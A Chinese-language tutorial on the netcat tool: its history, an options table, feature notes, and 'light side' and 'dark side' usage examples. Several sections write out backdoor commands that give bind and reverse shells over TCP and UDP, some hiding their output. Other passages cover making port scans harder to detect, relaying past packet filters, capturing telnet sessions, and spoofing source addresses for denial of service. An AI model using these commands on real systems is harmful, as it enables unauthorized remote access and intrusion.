当前位置: 首页 > 工具软件 > Netcat > 使用案例 >

netcat

江俊能
2023-12-01

1 历史

1 netcat创建于1995年,开发到1996年的前几个月时,由Avian Research (avian.org)发布了v1.10.

  netcat及其相关软件包由Avian Research开发,且开源

2 netcat的另一个分支为GNU Netcat,用于改进可移植性、可用性和功能设计

  官网  http://netcat.sourceforge.net/

  该项目的目标是与广泛使用的原始NC 1.10完全兼容,并且具有可移植性

不同分支的nc基本上都兼容

 

以下内容为kali自带的nc(GNU nc)

2 options

option

描述

-c string

指定连接后要执行的shell命令;命令由/bin/sh -c 执行

-e filename

指定连接后要执行的文件

-g gateway

指定源路由中间路由器,参考traceroute的-g选项

-G num

source-routing pointer: 4, 8, 12, ...

-h

帮助文档

-i secs

发送消息,端口扫描的时间间隔

-l

监听模式;默认监听0.0.0.0,通过-s指定监听地址

-n

不进行dns解析,使用纯数字ip地址

-o file

将输入输出的数据以16进制和注释的形式保存到文件

-p port

指定本地端口;可以为单个端口或范围(low-high); 连接远程主机时,用于指定源端口

-q seconds

stdin接收到EOF后等待指定秒后退出,如果seconds为负数,则永远等待(接收EOF后不退出,但是不能再发送数据)

-b

允许UDP广播

-r

随机分配本地和远程端口

-s addr

本地源地址;指定监听地址或数据包源地址

-t

启用telnet协商

-u

使用udp协议

-v

显示详细信息,两次显示更加详细的信息

-w secs

连接的超时时间,网络不活动超时时间(从stdin读取EOF后多久断开连接)

-C

发送CRLF作为行尾

-z

零I/O模式[用于扫描]

-T type

设置TOS类型,用于优化数据包传输

可选值:Minimize-Delay、Maximize-Throughput、Maximize-Reliability、Minimize-Cost

扩展说明

nc从stdin接收到EOF后,则关闭stdin,后续的输入会存放在stdin中,待下一个程序从stdin中读取内容

CRLF、CR、LF

CRLF

\r\n

CR

\r

LF

\n

 

3 特性

3.1 无参数

说明:当未指定参数运行netcat时,netcat打印Cmd line提示用户输入命令参数,随后从stdin读取一行内容,并将其分解为参数

优点:某些类型的脚本中使用该方式驱动netcat是非常有用的

缺点:ps命令不会显示netcat的参数

3.2 hostname

1 hostname可以为域名或ip地址

2 指定-n选项,则netcat仅接受ip地址,不进行DNS查询

3 未指定-n时,netcat会进行DNS正向与反向查询,可以通过-v选项来查看这些信息,当查询不匹配时也会进行警告

3.3 port

1 port可以是数字或/etc/services中的端口别名

2 指定-n选项,仅数字参数有效

3 特殊语法和/或多个端口参数会导致不同的行为——参阅端口扫描相关内容

3.4 -v

1 -v选项控制发送到stderr的消息的详细级别

2 -v选项显示netcat尝试建立连接时的信息

  -w选项限制来连接时间

  'nc -v -w 3'等同于使用telnet进行端口检测

3 多次指定-v将显示更加详细的内容

4 未指定-v,netcat将静默的工作,除非netcat运行时发生一些错误,此时它将报告错误并以非零状态退出。

  拒绝的网络连接通常不被视为错误, 除非你只要求一个TCP端口却被拒绝了

3.5 -w

1 -w选项指定连接超时

2 -w选项也用于指定网络不活动超时时间(从stdin接收到EOF后,指定时间内没有收到信息则断开连接)

3.6 -u

1 指定-u选项后,则使用UDP替换TCP

2 udp模式在从stdin读取数据之前,不会发送任何数据;

  因此只有从stdin读取数据后,才会发送udp数据包,此时才可以确定对面另一端是否为udp服务器

  使用-u可以连接任何主机,等输入第一行内容后,才会进行验证

3.7 -o

1 -o选项保存16进制存储(dump)文件,该文件存储了整个连接过程的内容

2 16进制转储文件中,以 < 开头的行表示接收的数据,以 > 开头的行表示发送的数据

3 捕获16进制下转储文件会消耗资源,减慢netcat的速度,所以不要在速度很关键的地方使用它

3.8 -p

1 Netcat可以绑定到任何本地端口,受限于特权限制和已使用端口

2 搭配-l则指定监听端口,否则指定源端口

3 root用户可以获取任何未使用的源端口,包括小于1024的“保留”端口。

4 未指定-p选项,将绑定到系统提供您的任何未使用的端口

3.9 -s

1 -s可以指定本地某一个接口的地址作为监听地址或源地址

3.10 -l

1 udp模式下需要指定监听端口

2 tcp模式下允许不指定监听端口,此时监听端口由系统分配,可通过-v选项查看系统分配端口

3 在监听模式下指定目标主机和端口,则仅允许指定主机的指定端口连接;

  可以单独指定主机,限制主机访问;端口必须与主机一起使用

  nc -l -p 12345 192.168.1.1

  nc -l -p 12345 192.168.1.1 22222

4 -v选项显示监听模式下的更多信息:监听ip,监听端口,连接主机等等

5 如果系统支持IP套接字选项,netcat将尝试从入站连接检索任何此类选项并以十六进制打印出来

3.11 -e

1 如果netcat是用-DGAPING_SECURITY_HOLE编译的,则-e参数指定在建立或接收一个成功连接后要执行的程序

2 -e选项也支持udp模式

  客户端:运行netcat立即执行程序

  服务端:接收到udp数据后再执行程序

3 -e选项不支持提供程序参数,因此想要运行含有参数的命令,请创建一个脚本

3.12 -t

1 如果netcat是用-DTELNET编译的,-t参数使它能够响应telnet选项协商[总是处于否定状态,即DONT或WONT]

2 通过-t选项可以模拟telnet客户端访问telnet服务

3 此功能有可能修改数据流,因此默认情况下不会启用它

3.13 -i

1 为了尽可能高效的传递数据,netcat使用大量8k进行读写,将来自网络的数据传递给stdout,将stdin发送到网络

2 -i选项指定了发送间隔,用于降低速度

  指定-i选项后,stdin仍是大批量读取,但netcat随后会尝试查找存在换行符的位置,并每隔一段时间发送一行

  如果stdin是一个终端,那么数据已经被逐行读取,除非使-i间隔相当长,否则键入的内容将以相当正常的速率输出

3 -i选项为从文件或管道批量读取数据而设计的

3.14 -z

1 禁止向tcp连接发送数据

2 向udp连接发送少量数据(见3.10,如果不发送数据则无法检测udp端口)

3 基于1、2实现来快速扫描功能,-v选项显示扫描情况

4 -i选项用于限制扫描速度

5 /etc/services中含有--字符的别名,netcat可能无法解析,尽量使用数字形式的端口号

6 示例:  nc -v -w 2 -z 192.168.8.100 20-30

3.15 -r

1 默认情况根据端口范围依次扫描

2 指定-r选项,将在端口范围内随机跳转,(可通过sort对扫描结果排序)

  如果随机模式有效,本地源端口也会随机化,这样可以防止netcat在扫描时显示出任何类型的规则模式

3 对单个连接使用-r,则源端口将使用8192以上的随机值,而不是内核分配给您的下一个值

4 如果使用-p选项指定本地端口,将会覆盖任何本地端口随机化

3.16 -g

1 -g选项为宽松的源路由指定中间路由器,该选项最多指定8个中间路由器

2 -g选项参考traceroute的-g选项

3 百度源路由或源站选路了解更多详细内容

 

4 示例-the light side

4.1 模拟web客户端

# nc www.baidu.com 80

GET / HTTP/1.0

4.2 -v选项信息保存

netcat的-v选项通过stderr进行输出,> 和 >>仅将重定向stdout,因此需要将stderr重定向到stdout

nc 192.168.1.1 2222 -v > log 2 >& 1

nc 192.168.1.1 2222 -v >& log

4.3 扫描示例

echo QUIT | nc -v -w 5 target 20-250 500-600 5990-7000

说明:该指令将尝试连接traget的20-250,500-600,5990-7000端口;超时时间为5s;每当端口成功连接时,都会发送QUIT给对方

用途:端口扫描+端口提示信息

注意:使用nc连接telnet服务时,无法通过命令退出,因此需要使用EOF+超时机制退出。

 echo QUIT作用:

1 获取服务的提示信息

2 echo QUIT将输入EOF给netcat,因此搭配-w实现超时退出

4.4 数据传输

建议:监听端不设置超时,发送端设置短暂超时,当数据传输完成后自动关闭连接

命令:服务端  nc -l -p 1234 | uncompress -c | tar xvfp -

 客户端  tar cfp - /some/dir | compress -c | nc -w 3

说明:nc -l -p 1234    监听本地1234端口

 uncompress -c    解压数据,并将其输出到stdout

 tar xvfp -       提取标准输入中的文件

  x 提取存档中的文件

  v 显示详细信息

  f 指定文件

  p 提取所有保护信息

  - 标准输入/输出(f参数所需要,表示从表中输入读取)

 tar cfp - /some/dir    归档/some/dir然后传输到stdout

 compress -c            压缩文件,然后输出到stdout

 nc -w 3 target 1234    连接target的1234端口,超时3秒

用途:将指定文件/目录归档,压缩后发送给服务端;服务端接收到归档文件后对其解压,提取;

     netcat可以在corn中进行数据的定时备份;由于netcat遇到错误返回非零状态,因此可以用于脚本

4.5 数据传输-浏览器访问

服务端:# cat test.txt

This is test text

The content will show in your browser

   # nc -l -p 22222 -v -q 1 < test.txt

客户端:访问http://192.168.8.100:22222

   显示This is test text The content will show in your browser

4.6 inetd替代品

1 使用GAPING_SECURITY_HOLE定义构建netcat,则可以使用netcat作为inedt的替代品

2 不能处理信号

3 可以绑定到特定的本地地址

4 -v选项用于显示更多详细信息

4.7 远程命令执行

说明:客户端运行程序并连接到服务端,由服务端完成对程序的操作

用途:反向连接shell

示例:服务端  nc -l -p 22222 -v

 客户端  nc 192.168.8.100 22222 -e /bin/bash

4.8 性能测试

服务端:yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null

客户端:yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null

说明:1 -v -v在中断程序后,显示发送和接收的数据量

 2 udp模式下每单位时间内产生8Kb数据,足以对内核和网络接口进行压力测试

 3 发送随机二进制数据给网络服务,可能会暴露出输入处理的错误

4.9 网络协议调试

通过hex dump特性,将交互的数据以16进制形式转储到文件,用于后续分析

4.10 测试远程syslogger

echo '<38>message' | nc -w 1 -u loggerhost 514

udp 514端口为syslog远程日志存储服务

4.11 测试包过滤器(防火墙)

4.12 保护x server不受外部访问

脚本:

while true ; do

  nc -v -l -s <your-addr> -p 6000 localhost 2

done

说明:

netcat监听6000端口(x server端口),且仅允许localhost 2访问该端口;这样每当访问6000端口时都会阻止并进行提示

4.13 服务中继

原理:-c、-e选项执行命令或程序,并将输入输出转接到对端,由此来完成中继

示例:

1 telnet

方法1

服务端(192.168.8.107)

 # nc -l -p 22222 -c 'telnet 192.168.8.100'

客户端(192.168.8.100)

 # nc 192.168.8.107 22222 -t

 

方法2

服务端(192.168.8.107)

# nc -l -v -p 22222 -c 'nc 192.168.8.100 23'

客户端(192.168.8.100)

# nc 192.168.8.107 22222 -t

 

2 ssh

注意:ssh客户端不是通过stdout与stderr输出内容的

 ssh localhost >& test 仍会在输出内容到终端

服务端(192.168.8.107)

 # nc -l -v -p 22222 -c 'nc 192.168.8.100 22'

客户端(192.168.8.100)

 # ssh 192.168.8.107 -p 22222

 

3 多重中继

服务端(192.168.8.107)

 # nc -l -v -p 22222 -c 'nc 192.168.8.107 22223'&

 # nc -l -v -p 22223 -c 'nc 192.168.8.107 22224'&

 # nc -l -v -p 22224 -c 'nc 192.168.8.100 22'

客户端(192.168.8.100)

 # ssh 192.168.8.107 -p 22222

4.14 CGI脚本

使用netcat监听特定端口,并通过-e选项指定脚本或程序,然后在主页上通过一个URL指向找个端口

 

 

5 示例-the dark side

5.0 端口监听说明

环境:pc存在多张网卡,ip分别为192.168.8.100 192.168.1.1 192.168.3.2,通过netcat查看监听端口

情景一:192.168.8.100:22   

仅在192.168.8.100上监听22端口

此时仅可以访问192.168.8.100:22

情景二:0.0.0.0:22   

在本机存在的所有ip上监听22端口,即在192.168.8.100、192.168.1.1、192.168.3.2上监听22端口

此时可以访问192.168.8.100:22、192.168.1.1:22、192.168.3.2:22,且它们为同一个服务

5.1 端口扫描

1 构造数据,获取更多扫描信息

2 使用无参数netcat,确保ps无法获悉更多扫描信息

3 -r选项,随机扫描,减少被检测的可能

4 -i选项,间隔扫描,减少被检测的可能

5.2 绕过包过滤器

监听合法的对外端口,并通过-c或-e中继到本地受限制的端口,从而绕过包过滤器

5.3 捕获交互数据

服务端:  # nc -l -v -p 22222 -c 'nc 192.168.8.100 23 -o dump '

客户端:  # telnet 192.168.8.100 22222

说明:服务端中的dump为 客户端与192.168.8.100 的通信数据

     -o选项dump netcat的输入和输出内容,

 但是通过-c选项指定了命令,此时netcat不处理输入和输出,仅转发命令的输入和输入,所以要在命令中指定-o选项

5.4 后门

tcp

1 正向

服务端:# nc -l -v -p 22222 -e /bin/bash >& /dev/null

客户端:# nc 192.168.8.100 22222

客户端获取到服务端的shell,服务端将stderr信息丢弃,避免显示

2 反向

服务端:# nc -l -v -p 22222

客户端:# nc 192.168.8.100 22222 -e /bin/bash  >& /dev/null

服务端获取到客户端的shell,客户端将stderr信息丢弃,避免显示

udp

1 正向

服务端:# nc -l -v -p 22222 -u -e /bin/bash >& /dev/null

客户端:# nc 192.168.8.100 22222 -u

客户端获取到服务端的shell,服务端将stderr信息丢弃,避免显示

注意:在客户端连接后,需要发送数据来确定端口状态,随后获取到shell

2 反向

服务端:# nc -l -v -p 22222 -u

客户端:# nc 192.168.8.100 22222 -u -c 'echo 1;/bin/bash' >& /dev/null

服务端获取到客户端的shell,客户端将stderr信息丢弃,避免显示

注意:通过-c 'echo 1;/bin/bash' 可以自动发送首个数据包,确定端口情况,然后进行shell交互

udp模式每次读取一个字符,因此输入命令格式如下:

l

s

 

netcat-traditional

 

5.5 用于编写密码破解脚本

5.6 使用nc -t代替telnet,可以防止无意中通过telnet连接发送额外的信息

5.7 伪造源地址

1 使用-s选项指定内核中配置且并未使用的网络接口地址来伪造源地址

2 可以在1的基础上,使用-g和-G进一步欺骗

5.8 拒绝服务;搭配源地址伪造使得溯源较为困难

 

6 其它细节

对各种警告、微妙之处和内部设计的讨论

1 读取文件

说明:

从1.07版开始,netcat支持读取文件来配置参数和指定数据;文件的第一行为参数,其余行为数据

当netcat读取文件时,则指定文件作为输入,最后输入EOF终止,因此命令行输入的内容将不再输出到对端

文件示例: nc.txt

-l -v -p 22222           参数

data                      数据

使用示例

# nc < nc.txt 或  # cat nc.txt | nc

2 udp特性-连接拒绝

1 当netcat接收到入站udp连接时,它会创建一个“连接的套接字”返回到连接的源(udp反向连接回去),然后使用write()发送数据

2 基于这个特性,当客户端中断udp连接后再次连接时源端口发生改变,此时服务端将不再接收连接,除非指定源端口为最初的端口

3 示例

服务端

# nc -l -v -p 22222 -u

客户端

# nc 192.168.8.100 22222 -u -p 12345   #首次可通信

# nc 192.168.8.100 22222 -u -p 12345   #源端口未变,仍可通信

# nc 192.168.8.100 22222 -u -p 23456   #源端口改变,不可通信

 

3 udp特性-端口误报

1 netcat发送udp数据包后,如果没有接收到ICMP错误,则会认为端口为打开状态

2 端口扫描时,如果过滤器阻塞了udp数据包或发生了丢包或其它类似情况时,都将显示端口为open

 

7 更多细节和示例查看/usr/share/doc/netcat-traditional目录

 类似资料:

相关阅读

相关文章

相关问答